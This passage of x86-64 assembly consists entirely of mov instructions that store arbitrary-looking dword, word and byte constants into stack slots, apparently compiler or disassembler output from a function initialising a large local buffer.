mov dword [rsp + 0x7830], 0x4a7f80a4
mov dword [rsp + 0x7834], 0x79e28b7f
mov dword [rsp + 0x7838], 0x806
mov eax, 0xd40
mov word [rsp + 0x1f70], ax
mov byte [rsp + 0x42e], 0x2f
mov dword [rsp + 0x783c], 0x47ae29e
mov dword [rsp + 0x7840], 0x6de5734b
mov dword [rsp + 0x7844], 0xf3e1
mov dword [rsp + 0x7848], 0x314f995a
mov eax, 0xee6
mov word [rsp + 0x1f74], ax
mov eax, 0xf95
mov word [rsp + 0x1f78], ax
mov byte [rsp + 0x42f], 0xa9
mov dword [rsp + 0x784c], 0x3f3b242d
mov eax, 0x921
mov word [rsp + 0x1f7c], ax
mov dword [rsp + 0x7850], 0x4e8c3af7
mov eax, 0x11a
mov word [rsp + 0x1f80], ax
mov byte [rsp + 0x430], 0x1b
mov eax, 0x736
mov word [rsp + 0x1f84], ax
mov byte [rsp + 0x431], 0xbe
mov dword [rsp + 0x7854], 0x1f78c41f
mov dword [rsp + 0x7858], 0x4c1958b5
mov dword [rsp + 0x785c], 0x743c6005
mov eax, 0xb1
mov word [rsp + 0x1f88], ax
mov eax, 0x850
mov word [rsp + 0x1f8c], ax
mov eax, 0x40a
mov word [rsp + 0x1f90], ax
mov dword [rsp + 0x7860], 0xe557
mov dword [rsp + 0x7864], 0xcc94
mov eax, 0x1c5
mov word [rsp + 0x1f94], ax
mov dword [rsp + 0x7868], 0x1e1dcb45
mov dword [rsp + 0x786c], 0x1fa55ed0
mov eax, 0xa35
mov word [rsp + 0x1f98], ax
mov dword [rsp + 0x7870], 0x74b18629
mov byte [rsp + 0x432], 0x8c
mov dword [rsp + 0x7874], 0x2629c822
mov eax, 0x467
mov word [rsp + 0x1f9c], ax
mov byte [rsp + 0x433], 0x39
mov dword [rsp + 0x7878], 0x13cd751c
mov eax, 0x9b4
mov word [rsp + 0x1fa0], ax
mov dword [rsp + 0x787c], 0xc047
mov dword [rsp + 0x7880], 0x666758b6
mov eax, 0x5a
mov word [rsp + 0x1fa4], ax
mov eax, 0x518
mov word [rsp + 0x1fa8], ax
mov dword [rsp + 0x7884], 0x30a190a1
mov eax, 0x561
mov word [rsp + 0x1fac], ax
mov dword [rsp + 0x7888], 0xde08
mov byte [rsp + 0x434], 0xad
mov dword [rsp + 0x788c], 0x91f0
mov dword [rsp + 0x7890], 0x5c19f386
mov byte [rsp + 0x435], 0x89
mov dword [rsp + 0x7894], 0xe03f
mov dword [rsp + 0x7898], 0x550d
mov dword [rsp + 0x789c], 0x7c5cfd8d
mov eax, 0x78d
mov word [rsp + 0x1fb0], ax
mov dword [rsp + 0x78a0], 0xcfc4
mov dword [rsp + 0x78a4], 0x72cc1320
mov dword [rsp + 0x78a8], 0x2f4c190f
mov dword [rsp + 0x78ac], 0xcd44a0a
mov dword [rsp + 0x78b0], 0x4c0
mov dword [rsp + 0x78b4], 0x2c761d6b
mov dword [rsp + 0x78b8], 0x186138be
mov dword [rsp + 0x78bc], 0xa684689
mov byte [rsp + 0x436], 0x74
mov dword [rsp + 0x78c0], 0x1965
mov dword [rsp + 0x78c4], 0x3c854a90
mov dword [rsp + 0x78c8], 0xa58f
mov dword [rsp + 0x78cc], 0xbc61
mov dword [rsp + 0x78d0], 0x366906e1
mov byte [rsp + 0x437], 0xed
mov byte [rsp + 0x438], 0x1c
mov dword [rsp + 0x78d4], 0x5204018b
mov eax, 0x3f9
mov word [rsp + 0x1fb4], ax
mov byte [rsp + 0x439], 0xea
mov dword [rsp + 0x78d8], 0x7945
mov dword [rsp + 0x78dc], 0x84cc
mov dword [rsp + 0x78e0], 0x3c83
mov dword [rsp + 0x78e4], 0xd0cb
mov dword [rsp + 0x78e8], 0x1d578c95
mov dword [rsp + 0x78ec], 0xaba9
mov dword [rsp + 0x78f0], 0x7ff2
mov dword [rsp + 0x78f4], 0x5c6ff8bd
mov dword [rsp + 0x78f8], 0x89b7255
mov eax, 0x1fa
mov word [rsp + 0x1fb8], ax
mov dword [rsp + 0x78fc], 0x84ee26f
mov dword [rsp + 0x7900], 0x218eeea2
mov dword [rsp + 0x7904], 0x8879
mov eax, 0x1c6
mov word [rsp + 0x1fbc], ax
mov dword [rsp + 0x7908], 0x9f65
mov dword [rsp + 0x790c], 0xe8bb
mov dword [rsp + 0x7910], 0x143d3a92
mov dword [rsp + 0x7914], 0x634d2c8d
mov byte [rsp + 0x43a], 0xee
mov byte [rsp + 0x43b], 0x11
mov dword [rsp + 0x7918], 0x42d98afc
mov dword [rsp + 0x791c], 0x1c25bbb4
mov dword [rsp + 0x7920], 0x2db71a4e
mov dword [rsp + 0x7924], 0xd501
mov dword [rsp + 0x7928], 0x6d247ecd
mov dword [rsp + 0x792c], 0x54f37e3f
mov byte [rsp + 0x43c], 0x82
mov dword [rsp + 0x7930], 0x20a9
mov dword [rsp + 0x7934], 0x260e1847
mov dword [rsp + 0x7938], 0x303e1535
mov byte [rsp + 0x43d], 0x25
mov byte [rsp + 0x43e], 0x37
mov dword [rsp + 0x793c], 0x4656
mov eax, 0xc17
mov word [rsp + 0x1fc0], ax
mov dword [rsp + 0x7940], 0x5220166b
mov dword [rsp + 0x7944], 0x678e38b9
mov dword [rsp + 0x7948], 0x4693d72e
mov dword [rsp + 0x794c], 0x657f8c51
mov byte [rsp + 0x43f], 0xf8
mov byte [rsp + 0x440], 0x66
mov dword [rsp + 0x7950], 0x1bd97bf2
mov dword [rsp + 0x7954], 0x71f123a7
mov dword [rsp + 0x7958], 0x96cc
mov eax, 0xdc0
mov word [rsp + 0x1fc4], ax
mov dword [rsp + 0x795c], 0x5bfba94a
mov byte [rsp + 0x441], 0xa3
mov byte [rsp + 0x442], 0x15
mov dword [rsp + 0x7960], 0x9e2e
mov dword [rsp + 0x7964], 0xf2c6
mov byte [rsp + 0x443], 0x63
mov byte [rsp + 0x444], 0x15
mov eax, 0xf91
mov word [rsp + 0x1fc8], ax
mov dword [rsp + 0x7968], 0x79204a7c
mov eax, 0x1d1
mov word [rsp + 0x1fcc], ax
mov dword [rsp + 0x796c], 0x22f0ced5
mov dword [rsp + 0x7970], 0x66930008
mov eax, 0x707
mov word [rsp + 0x1fd0], ax
mov byte [rsp + 0x445], 0xb0
mov eax, 0x83d
mov word [rsp + 0x1fd4], ax
mov dword [rsp + 0x7974], 0x9117
mov dword [rsp + 0x7978], 0x2dbc803e
mov dword [rsp + 0x797c], 0x21506aac
mov byte [rsp + 0x446], 0x60
mov dword [rsp + 0x7980], 0x536d
mov eax, 0xeca
mov word [rsp + 0x1fd8], ax
mov dword [rsp + 0x7984], 0x37b5
mov dword [rsp + 0x7988], 0x285753ef
mov byte [rsp + 0x447], 0x3b
mov eax, 0xa0d
mov word [rsp + 0x1fdc], ax
mov dword [rsp + 0x798c], 0x5f78d5bd
mov dword [rsp + 0x7990], 0x2967b314
mov dword [rsp + 0x7994], 0x2da0a38f
mov eax, 0xe3e
mov word [rsp + 0x1fe0], ax
mov dword [rsp + 0x7998], 0x468f8ad2
mov dword [rsp + 0x799c], 0x70640085
mov byte [rsp + 0x448], 0x4c
mov dword [rsp + 0x79a0], 0x1ff6061f
mov eax, 0x9a5
mov word [rsp + 0x1fe4], ax
mov eax, 0x518
mov word [rsp + 0x1fe8], ax
mov byte [rsp + 0x449], 0x83
mov eax, 0x7a2
mov word [rsp + 0x1fec], ax
mov dword [rsp + 0x79a4], 0x32b6d4e7
mov eax, 0x796
mov word [rsp + 0x1ff0], ax
mov eax, 0x910
mov word [rsp + 0x1ff4], ax
mov dword [rsp + 0x79a8], 0x684bf32d
mov eax, 0x43d
mov word [rsp + 0x1ff8], ax
mov dword [rsp + 0x79ac], 0x367348d1
mov dword [rsp + 0x79b0], 0x6ad0093
mov dword [rsp + 0x79b4], 0x254b
mov byte [rsp + 0x44a], 0x32
mov eax, 0x7cf
mov word [rsp + 0x1ffc], ax
mov dword [rsp + 0x79b8], 0xfb0e
mov dword [rsp + 0x79bc], 0x47743854
mov dword [rsp + 0x79c0], 0xb28a
mov byte [rsp + 0x44b], 0xc9
mov dword [rsp + 0x79c4], 0x2f5a8b43
mov dword [rsp + 0x79c8], 0x6069c50
mov eax, 0x1f2
mov word [rsp + 0x2000], ax
mov eax, 0xaaa
mov word [rsp + 0x2004], ax
mov byte [rsp + 0x44c], 4
mov dword [rsp + 0x79cc], 0x153f
mov dword [rsp + 0x79d0], 0x100ee14c
mov byte [rsp + 0x44d], 0x4d
mov dword [rsp + 0x79d4], 0x3131c5bf
mov dword [rsp + 0x79d8], 0xe2ad
mov dword [rsp + 0x79dc], 0x7ea9741f
mov eax, 0x4c2
mov word [rsp + 0x2008], ax
mov dword [rsp + 0x79e0], 0x62672a8c
mov byte [rsp + 0x44e], 0x17
mov dword [rsp + 0x79e4], 0xa44c
mov eax, 0x6ae
mov word [rsp + 0x200c], ax
mov eax, 0x1ce
mov word [rsp + 0x2010], ax
mov dword [rsp + 0x79e8], 0x7fece876
mov eax, 0xc89
mov word [rsp + 0x2014], ax
mov byte [rsp + 0x44f], 0x36
mov byte [rsp + 0x450], 0xb2
mov byte [rsp + 0x451], 0x65
mov dword [rsp + 0x79ec], 0x687dc26a
mov dword [rsp + 0x79f0], 0x45462840
mov dword [rsp + 0x79f4], 0x32ce
mov eax, 0x3e9
mov word [rsp + 0x2018], ax
mov dword [rsp + 0x79f8], 0x9330
mov byte [rsp + 0x452], 0xae
mov dword [rsp + 0x79fc], 0x7709
mov byte [rsp + 0x453], 0x42
mov dword [rsp + 0x7a00], 0x4d484c92
mov dword [rsp + 0x7a04], 0xabe6
mov eax, 0x181
mov word [rsp + 0x201c], ax
mov dword [rsp + 0x7a08], 0x17213a39
mov dword [rsp + 0x7a0c], 0x6da555ff
mov eax, 0x292
mov word [rsp + 0x2020], ax
mov byte [rsp + 0x454], 0xac
mov dword [rsp + 0x7a10], 0x6ddedf9c
mov dword [rsp + 0x7a14], 0xcba
mov byte [rsp + 0x455], 0x3f
mov byte [rsp + 0x456], 5
mov eax, 0x1a2
mov word [rsp + 0x2024], ax
mov eax, 0x893
mov word [rsp + 0x2028], ax
mov byte [rsp + 0x457], 0xc0
mov dword [rsp + 0x7a18], 0x6546
mov dword [rsp + 0x7a1c], 0x3d6320f2
mov dword [rsp + 0x7a20], 0xc534
mov eax, 0xfa3
mov word [rsp + 0x202c], ax
mov byte [rsp + 0x458], 0x86
mov dword [rsp + 0x7a24], 0x1e2ac3d5
mov dword [rsp + 0x7a28], 0x6377b27b
mov byte [rsp + 0x459], 0x6c
mov eax, 0x11f
mov word [rsp + 0x2030], ax
mov dword [rsp + 0x7a2c], 0x6427a9b1
mov dword [rsp + 0x7a30], 0x7f02
mov byte [rsp + 0x45a], 0x78
mov dword [rsp + 0x7a34], 0x29df00ef
mov eax, 0x396
mov word [rsp + 0x2034], ax
mov byte [rsp + 0x45b], 0xd
mov byte [rsp + 0x45c], 0x4e
mov dword [rsp + 0x7a38], 0x53f
mov dword [rsp + 0x7a3c], 0x12d0051e
mov dword [rsp + 0x7a40], 0x51dea002
mov dword [rsp + 0x7a44], 0x7e22
mov dword [rsp + 0x7a48], 0x68081c2a
mov byte [rsp + 0x45d], 0x3c
mov dword [rsp + 0x7a4c], 0xb10d
mov dword [rsp + 0x7a50], 0x35125345
mov dword [rsp + 0x7a54], 0x434f
mov dword [rsp + 0x7a58], 0x19970239
mov eax, 0xf16
mov word [rsp + 0x2038], ax
mov eax, 0xbf8
mov word [rsp + 0x203c], ax
mov eax, 0x2d0
mov word [rsp + 0x2040], ax
mov byte [rsp + 0x45e], 0x37
mov byte [rsp + 0x45f], 0x9f
mov dword [rsp + 0x7a5c], 0x6c79376a
mov byte [rsp + 0x460], 0x5b
mov eax, 0xb26
mov word [rsp + 0x2044], ax
mov eax, 0x5ae
mov word [rsp + 0x2048], ax
mov dword [rsp + 0x7a60], 0x1e3
mov eax, 0xef3
mov word [rsp + 0x204c], ax
mov eax, 0x627
mov word [rsp + 0x2050], ax
mov dword [rsp + 0x7a64], 0x221c17d1
mov byte [rsp + 0x461], 0x90
mov eax, 0x689
mov word [rsp + 0x2054], ax
mov dword [rsp + 0x7a68], 0x4a44755
mov dword [rsp + 0x7a6c], 0xe23
mov dword [rsp + 0x7a70], 0x7b5446b9
mov eax, 0xede
mov word [rsp + 0x2058], ax
mov eax, 0x4c9
mov word [rsp + 0x205c], ax
mov dword [rsp + 0x7a74], 0x4a3cdda
mov byte [rsp + 0x462], 0xe
mov dword [rsp + 0x7a78], 0x6f3a8e2a
mov byte [rsp + 0x463], 0x5b
mov dword [rsp + 0x7a7c], 0xac42
mov dword [rsp + 0x7a80], 0x8237
mov dword [rsp + 0x7a84], 0x51340c33
mov byte [rsp + 0x464], 0x7a
mov dword [rsp + 0x7a88], 0x2c2beb45
mov eax, 0x7f5
mov word [rsp + 0x2060], ax
mov dword [rsp + 0x7a8c], 0x6ce812d7
mov eax, 0x6eb
mov word [rsp + 0x2064], ax
mov dword [rsp + 0x7a90], 0x8f20477
mov eax, 0x38a
mov word [rsp + 0x2068], ax
mov byte [rsp + 0x465], 0x3f
mov eax, 0x162
mov word [rsp + 0x206c], ax
mov dword [rsp + 0x7a94], 0x71a69d01
mov eax, 0x219
mov word [rsp + 0x2070], ax
mov byte [rsp + 0x466], 0x63
mov eax, 0x28c
mov word [rsp + 0x2074], ax
mov dword [rsp + 0x7a98], 0xdf5f
mov dword [rsp + 0x7a9c], 0x13c0d557
mov dword [rsp + 0x7aa0], 0x1263419e
mov dword [rsp + 0x7aa4], 0x629c60ed
mov dword [rsp + 0x7aa8], 0x5ce3cb2a
mov dword [rsp + 0x7aac], 0x3d286bde
mov dword [rsp + 0x7ab0], 0x1046
mov dword [rsp + 0x7ab4], 0x89a9
mov eax, 0xd7a
mov word [rsp + 0x2078], ax
mov dword [rsp + 0x7ab8], 0x6ab1d4e9
mov dword [rsp + 0x7abc], 0x6bfd
mov dword [rsp + 0x7ac0], 0x410ffbf0
mov dword [rsp + 0x7ac4], 0x6a88
mov byte [rsp + 0x467], 0x5b
mov dword [rsp + 0x7ac8], 0x24cf3c4d
mov byte [rsp + 0x468], 0x34
mov eax, 0x13c
mov word [rsp + 0x207c], ax
mov dword [rsp + 0x7acc], 0xd4a7
mov eax, 0x448
mov word [rsp + 0x2080], ax
mov dword [rsp + 0x7ad0], 0x30f9544d
mov byte [rsp + 0x469], 0x2b
mov byte [rsp + 0x46a], 0x53
mov dword [rsp + 0x7ad4], 0x42fd9aed
mov eax, 0x614
mov word [rsp + 0x2084], ax
mov dword [rsp + 0x7ad8], 0xf7e6
mov dword [rsp + 0x7adc], 0x46e6f362
mov dword [rsp + 0x7ae0], 0x7d6b5af7
mov dword [rsp + 0x7ae4], 0x6b59
mov eax, 0xb68
mov word [rsp + 0x2088], ax
mov eax, 0x35f
mov word [rsp + 0x208c], ax
mov dword [rsp + 0x7ae8], 0x398c3dfc
mov eax, 0x167
mov word [rsp + 0x2090], ax
mov eax, 0x2cd
mov word [rsp + 0x2094], ax
mov eax, 0xc61
mov word [rsp + 0x2098], ax
mov byte [rsp + 0x46b], 0x5e
mov byte [rsp + 0x46c], 0x19
mov eax, 0x2c5
mov word [rsp + 0x209c], ax
mov byte [rsp + 0x46d], 0x41
mov dword [rsp + 0x7aec], 0xe9b3
mov eax, 0xde9
mov word [rsp + 0x20a0], ax
mov dword [rsp + 0x7af0], 0x3d91fa80
mov dword [rsp + 0x7af4], 0x7151aae1
mov dword [rsp + 0x7af8], 0x748f820d
mov byte [rsp + 0x46e], 0xda
mov dword [rsp + 0x7afc], 0x24c02d57
mov dword [rsp + 0x7b00], 0x36095e6a
mov byte [rsp + 0x46f], 0xe0
mov byte [rsp + 0x470], 9
mov byte [rsp + 0x471], 0x4d
mov byte [rsp + 0x472], 0xb6
mov byte [rsp + 0x473], 0x6b
mov dword [rsp + 0x7b04], 0x3af27eb8
mov byte [rsp + 0x474], 0x70
mov dword [rsp + 0x7b08], 0xbc12
mov eax, 0x64b
mov word [rsp + 0x20a4], ax
mov dword [rsp + 0x7b0c], 0x64944fc9
mov dword [rsp + 0x7b10], 0x7ed1d40f
mov dword [rsp + 0x7b14], 0xdec1
mov dword [rsp + 0x7b18], 0x79ab3650
mov byte [rsp + 0x475], 0x53
mov dword [rsp + 0x7b1c], 0x145a35ff
mov byte [rsp + 0x476], 0x6d
mov dword [rsp + 0x7b20], 0x774c3ae6
mov dword [rsp + 0x7b24], 0x780ebfb
mov dword [rsp + 0x7b28], 0x79f1784e
mov eax, 0xe5c
mov word [rsp + 0x20a8], ax
mov dword [rsp + 0x7b2c], 0xcaee7ab
mov dword [rsp + 0x7b30], 0x6c98dd94
mov dword [rsp + 0x7b34], 0x98bb
mov eax, 0xd2c
mov word [rsp + 0x20ac], ax
mov eax, 0x4cc
mov word [rsp + 0x20b0], ax
mov dword [rsp + 0x7b38], 0x64e8622c
mov dword [rsp + 0x7b3c], 0x28d77a4a
mov dword [rsp + 0x7b40], 0x526ab866
mov dword [rsp + 0x7b44], 0x16f02690
mov byte [rsp + 0x477], 6
mov dword [rsp + 0x7b48], 0x296c5267
mov byte [rsp + 0x478], 0xe3
mov dword [rsp + 0x7b4c], 0x1c985e9e
mov dword [rsp + 0x7b50], 0x1dd1db75
mov byte [rsp + 0x479], 0x60
mov eax, 0x939
mov word [rsp + 0x20b4], ax
mov dword [rsp + 0x7b54], 0x1e29c6f8
mov dword [rsp + 0x7b58], 0x4b07421d
mov dword [rsp + 0x7b5c], 0x2ec4ea1b
mov dword [rsp + 0x7b60], 0x67be
mov byte [rsp + 0x47a], 0x46
mov dword [rsp + 0x7b64], 0x1d445291
mov dword [rsp + 0x7b68], 0x9162
mov dword [rsp + 0x7b6c], 0x48c5fd83
mov dword [rsp + 0x7b70], 0x3ff0
mov byte [rsp + 0x47b], 0xa5
mov byte [rsp + 0x47c], 0xb5
mov dword [rsp + 0x7b74], 0xb87b
mov dword [rsp + 0x7b78], 0xd1be
mov dword [rsp + 0x7b7c], 0x73b85f71
mov byte [rsp + 0x47d], 0xe0
mov dword [rsp + 0x7b80], 0x8d06026
mov eax, 0x3ac
mov word [rsp + 0x20b8], ax
mov eax, 0x470
mov word [rsp + 0x20bc], ax
mov dword [rsp + 0x7b84], 0x4e61fb49
mov dword [rsp + 0x7b88], 0xc13952f
mov eax, 0x7b9
mov word [rsp + 0x20c0], ax
mov eax, 0x70e
mov word [rsp + 0x20c4], ax
mov dword [rsp + 0x7b8c], 0x3a66
mov dword [rsp + 0x7b90], 0x48c6960b
mov dword [rsp + 0x7b94], 0x903f
mov byte [rsp + 0x47e], 3
mov dword [rsp + 0x7b98], 0xdaca
mov dword [rsp + 0x7b9c], 0x735e4922
mov dword [rsp + 0x7ba0], 0xdecc
mov dword [rsp + 0x7ba4], 0x105dd5e8
mov dword [rsp + 0x7ba8], 0x55e70b17
mov dword [rsp + 0x7bac], 0x1815f9ed
mov dword [rsp + 0x7bb0], 0x72f13cd0
mov byte [rsp + 0x47f], 0x53
mov byte [rsp + 0x480], 0x73
mov byte [rsp + 0x481], 0x46
mov dword [rsp + 0x7bb4], 0x2fb40d81
mov eax, 0x63d
mov word [rsp + 0x20c8], ax
mov dword [rsp + 0x7bb8], 0x245eba45
mov eax, 0x9ae
mov word [rsp + 0x20cc], ax
mov dword [rsp + 0x7bbc], 0x27ba4314
mov dword [rsp + 0x7bc0], 0x748a8ba5
mov dword [rsp + 0x7bc4], 0x4724f938
mov dword [rsp + 0x7bc8], 0x1bf9
mov dword [rsp + 0x7bcc], 0xb9e0080
mov dword [rsp + 0x7bd0], 0x7c4f447f
mov eax, 0x810
mov word [rsp + 0x20d0], ax
mov byte [rsp + 0x482], 9
mov dword [rsp + 0x7bd4], 0xbaa26a4
mov dword [rsp + 0x7bd8], 0x53c82390
mov dword [rsp + 0x7bdc], 0x4024f349
mov dword [rsp + 0x7be0], 0x47452fd6
mov dword [rsp + 0x7be4], 0xf2fb8de
mov dword [rsp + 0x7be8], 0xb8dce3d
mov dword [rsp + 0x7bec], 0x47e7d4de
mov dword [rsp + 0x7bf0], 0x2f5e
mov byte [rsp + 0x483], 0x4c
mov dword [rsp + 0x7bf4], 0x7c85bcad
mov dword [rsp + 0x7bf8], 0x3c093848
mov byte [rsp + 0x484], 0xc
mov dword [rsp + 0x7bfc], 0xafa2
mov dword [rsp + 0x7c00], 0x6ef2e651
mov dword [rsp + 0x7c04], 0x615161f4
mov byte [rsp + 0x485], 0xb5
mov dword [rsp + 0x7c08], 0x41808ffc
mov dword [rsp + 0x7c0c], 0xd183
mov eax, 0x2eb
mov word [rsp + 0x20d4], ax
mov eax, 0x57a
mov word [rsp + 0x20d8], ax
mov byte [rsp + 0x486], 0x5d
mov dword [rsp + 0x7c10], 0x5bfb8580
mov dword [rsp + 0x7c14], 0xf7de2ff
mov eax, 0x692
mov word [rsp + 0x20dc], ax
mov dword [rsp + 0x7c18], 0x1729
mov byte [rsp + 0x487], 0x64
mov dword [rsp + 0x7c1c], 0x15f580ea
mov eax, 0x780
mov word [rsp + 0x20e0], ax
mov dword [rsp + 0x7c20], 0xe841
mov dword [rsp + 0x7c24], 0x6f3bffc0
mov byte [rsp + 0x488], 0xb4
mov eax, 0x2bc
mov word [rsp + 0x20e4], ax
mov byte [rsp + 0x489], 0x52
mov eax, 0x679
mov word [rsp + 0x20e8], ax
mov eax, 0xeb5
mov word [rsp + 0x20ec], ax
mov eax, 0x8ba
mov word [rsp + 0x20f0], ax
mov dword [rsp + 0x7c28], 0x4ac611f
mov eax, 0x764
mov word [rsp + 0x20f4], ax
mov byte [rsp + 0x48a], 0x3c
mov dword [rsp + 0x7c2c], 0x130ed14a
mov dword [rsp + 0x7c30], 0xab86ebc
mov dword [rsp + 0x7c34], 0x2c2a8ba8
mov dword [rsp + 0x7c38], 0xd942
mov dword [rsp + 0x7c3c], 0x56fc14c5
mov eax, 0x18
mov word [rsp + 0x20f8], ax
mov dword [rsp + 0x7c40], 0x20ef
mov dword [rsp + 0x7c44], 0x41cdab2e
mov dword [rsp + 0x7c48], 0x70bde697
mov dword [rsp + 0x7c4c], 0x7994be47
mov byte [rsp + 0x48b], 0x2a
mov eax, 0x24b
mov word [rsp + 0x20fc], ax
mov dword [rsp + 0x7c50], 0x640daef9
mov dword [rsp + 0x7c54], 0x2f57ac24
mov eax, 0x3df
mov word [rsp + 0x2100], ax
mov eax, 0x7dd
mov word [rsp + 0x2104], ax
mov eax, 0xcf
mov word [rsp + 0x2108], ax
mov dword [rsp + 0x7c58], 0x32d0baee
mov eax, 0xaab
mov word [rsp + 0x210c], ax
mov eax, 0x105
mov word [rsp + 0x2110], ax
mov eax, 0x1e2
mov word [rsp + 0x2114], ax
mov dword [rsp + 0x7c5c], 0xefdf
mov byte [rsp + 0x48c], 0x56
mov dword [rsp + 0x7c60], 0x434cbe3b
mov byte [rsp + 0x48d], 0x78
mov dword [rsp + 0x7c64], 0x37390a05
mov dword [rsp + 0x7c68], 0x2825d838
mov dword [rsp + 0x7c6c], 0xc135bbc
mov byte [rsp + 0x48e], 0x21
mov dword [rsp + 0x7c70], 0x8be2eef
mov dword [rsp + 0x7c74], 0x6c203fcd
mov dword [rsp + 0x7c78], 0x47edbc06
mov dword [rsp + 0x7c7c], 0x53a76726
mov dword [rsp + 0x7c80], 0x3381
mov byte [rsp + 0x48f], 0x43
mov dword [rsp + 0x7c84], 0x5d19c4c5
mov byte [rsp + 0x490], 0x11
mov byte [rsp + 0x491], 0x67
mov eax, 0x195
mov word [rsp + 0x2118], ax
mov dword [rsp + 0x7c88], 0xcc1a
mov byte [rsp + 0x492], 0xfe
mov dword [rsp + 0x7c8c], 0x9c6f
mov byte [rsp + 0x493], 0x20
mov dword [rsp + 0x7c90], 0x8761
mov dword [rsp + 0x7c94], 0x7bd80017
mov eax, 0x1a0
mov word [rsp + 0x211c], ax
mov byte [rsp + 0x494], 0x38
mov dword [rsp + 0x7c98], 0x731107c0
mov dword [rsp + 0x7c9c], 0xcfcd
mov eax, 0x7d0
mov word [rsp + 0x2120], ax
mov dword [rsp + 0x7ca0], 0x405ac0a0
mov dword [rsp + 0x7ca4], 0x5c66b369
mov dword [rsp + 0x7ca8], 0x4024
mov dword [rsp + 0x7cac], 0xfea8
mov byte [rsp + 0x495], 0x6d
mov dword [rsp + 0x7cb0], 0xd720
mov dword [rsp + 0x7cb4], 0x7a5b8f4f
mov dword [rsp + 0x7cb8], 0x1f730ae2
mov dword [rsp + 0x7cbc], 0xafd4
mov eax, 0x4fc
mov word [rsp + 0x2124], ax
mov dword [rsp + 0x7cc0], 0x43e6361e
mov dword [rsp + 0x7cc4], 0x4e29
mov dword [rsp + 0x7cc8], 0x2640f3e7
mov eax, 0x33b
mov word [rsp + 0x2128], ax
mov byte [rsp + 0x496], 7
mov eax, 0x181
mov word [rsp + 0x212c], ax
mov byte [rsp + 0x497], 0xbb
mov dword [rsp + 0x7ccc], 0x2dadfe64
mov dword [rsp + 0x7cd0], 0x2b5b48dc
mov dword [rsp + 0x7cd4], 0x2b1861b2
mov dword [rsp + 0x7cd8], 0x21775a8c
mov byte [rsp + 0x498], 0x1b
mov dword [rsp + 0x7cdc], 0x440f74db
mov dword [rsp + 0x7ce0], 0xd16f
mov byte [rsp + 0x499], 0x3b
mov dword [rsp + 0x7ce4], 0x48ee
mov dword [rsp + 0x7ce8], 0x2121
mov byte [rsp + 0x49a], 0x2d
mov dword [rsp + 0x7cec], 0x7a3dabd2
mov dword [rsp + 0x7cf0], 0x1562c2e7
mov eax, 0x831
mov word [rsp + 0x2130], ax
mov dword [rsp + 0x7cf4], 0x6bb779dc
mov byte [rsp + 0x49b], 0xf2
mov dword [rsp + 0x7cf8], 0x2371
mov byte [rsp + 0x49c], 0xfc
mov byte [rsp + 0x49d], 0xf2
mov eax, 0xb88
mov word [rsp + 0x2134], ax
mov eax, 0xda1
mov word [rsp + 0x2138], ax
mov eax, 0x792
mov word [rsp + 0x213c], ax
mov dword [rsp + 0x7cfc], 0x6d80fd7
mov eax, 0x475
mov word [rsp + 0x2140], ax
mov dword [rsp + 0x7d00], 0x338549
mov dword [rsp + 0x7d04], 0x1a3449b3
mov byte [rsp + 0x49e], 0x2d
mov eax, 0x5ce
mov word [rsp + 0x2144], ax
mov byte [rsp + 0x49f], 0x87
mov dword [rsp + 0x7d08], 0x5e44c6b6
mov byte [rsp + 0x4a0], 0xa6
mov eax, 0x628
mov word [rsp + 0x2148], ax
mov dword [rsp + 0x7d0c], 0x1c18
mov byte [rsp + 0x4a1], 3
mov dword [rsp + 0x7d10], 0x58aed2cb
mov dword [rsp + 0x7d14], 0x3bba0f0e
mov eax, 0x7d0
mov word [rsp + 0x214c], ax
mov byte [rsp + 0x4a2], 0xe7
mov byte [rsp + 0x4a3], 6
mov eax, 0xd8d
mov word [rsp + 0x2150], ax
mov eax, 0x1b8
mov word [rsp + 0x2154], ax
mov eax, 0xc55
mov word [rsp + 0x2158], ax
mov dword [rsp + 0x7d18], 0x3f74cca4
mov dword [rsp + 0x7d1c], 0xa557
mov dword [rsp + 0x7d20], 0xd167cb
mov dword [rsp + 0x7d24], 0xd08eb89
mov dword [rsp + 0x7d28], 0xfd4d7d6
mov dword [rsp + 0x7d2c], 0x3d115468
mov dword [rsp + 0x7d30], 0x3c5f
mov byte [rsp + 0x4a4], 0xee
mov dword [rsp + 0x7d34], 0x4936
mov eax, 0x2e9
mov word [rsp + 0x215c], ax
mov dword [rsp + 0x7d38], 0x35dac849
mov eax, 0xd9c
mov word [rsp + 0x2160], ax
mov dword [rsp + 0x7d3c], 0x5ff41c64
mov byte [rsp + 0x4a5], 0x8a
mov byte [rsp + 0x4a6], 0xc8
mov dword [rsp + 0x7d40], 0x29a0b117
mov eax, 0x25f
mov word [rsp + 0x2164], ax
mov eax, 0xe57
mov word [rsp + 0x2168], ax
mov byte [rsp + 0x4a7], 0x6f
mov byte [rsp + 0x4a8], 0x76
mov eax, 0xdc4
mov word [rsp + 0x216c], ax
mov dword [rsp + 0x7d44], 0x781b8e43
mov dword [rsp + 0x7d48], 0x5ed8546e
mov dword [rsp + 0x7d4c], 0xe7d9
mov eax, 0x731
mov word [rsp + 0x2170], ax
mov dword [rsp + 0x7d50], 0x65a6d193
mov byte [rsp + 0x4a9], 0x77
mov dword [rsp + 0x7d54], 0x5d53a20e
mov byte [rsp + 0x4aa], 0x64
mov dword [rsp + 0x7d58], 0x8b73
mov eax, 0x553
mov word [rsp + 0x2174], ax
mov dword [rsp + 0x7d5c], 0x1f3040e5
mov byte [rsp + 0x4ab], 0x42
mov byte [rsp + 0x4ac], 0x68
mov dword [rsp + 0x7d60], 0x27c5b59c
mov dword [rsp + 0x7d64], 0x25e4ceb3
mov dword [rsp + 0x7d68], 0x1ad8e77e
mov byte [rsp + 0x4ad], 0x30
mov dword [rsp + 0x7d6c], 0xc00d92a
mov dword [rsp + 0x7d70], 0x2cd23d18
mov dword [rsp + 0x7d74], 0x1f4aa9b7
mov byte [rsp + 0x4ae], 0xba
mov byte [rsp + 0x4af], 0x86
mov dword [rsp + 0x7d78], 0x189a71b0
mov dword [rsp + 0x7d7c], 0x1e76
mov dword [rsp + 0x7d80], 0xab0
mov dword [rsp + 0x7d84], 0x187a29f2
mov dword [rsp + 0x7d88], 0x1c89935f
mov byte [rsp + 0x4b0], 0x2a
mov dword [rsp + 0x7d8c], 0xf5ec005
mov byte [rsp + 0x4b1], 0x1a
mov dword [rsp + 0x7d90], 0x4bbf
mov byte [rsp + 0x4b2], 0x15
mov dword [rsp + 0x7d94], 0x11349825
mov dword [rsp + 0x7d98], 0x50f82eb
mov dword [rsp + 0x7d9c], 0x528a
mov eax, 0x677
mov word [rsp + 0x2178], ax
